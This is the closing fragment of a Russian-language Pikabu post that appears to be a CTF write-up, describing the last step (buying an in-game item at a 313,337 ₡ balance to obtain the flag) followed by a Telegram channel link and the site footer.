Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Получили итоговый ключ для выполнения задания!

Задание выполнено!

Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью 8
[моё] Ctf Telegram (ссылка) Информационная безопасность Программирование Web-программирование Длиннопост
8
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии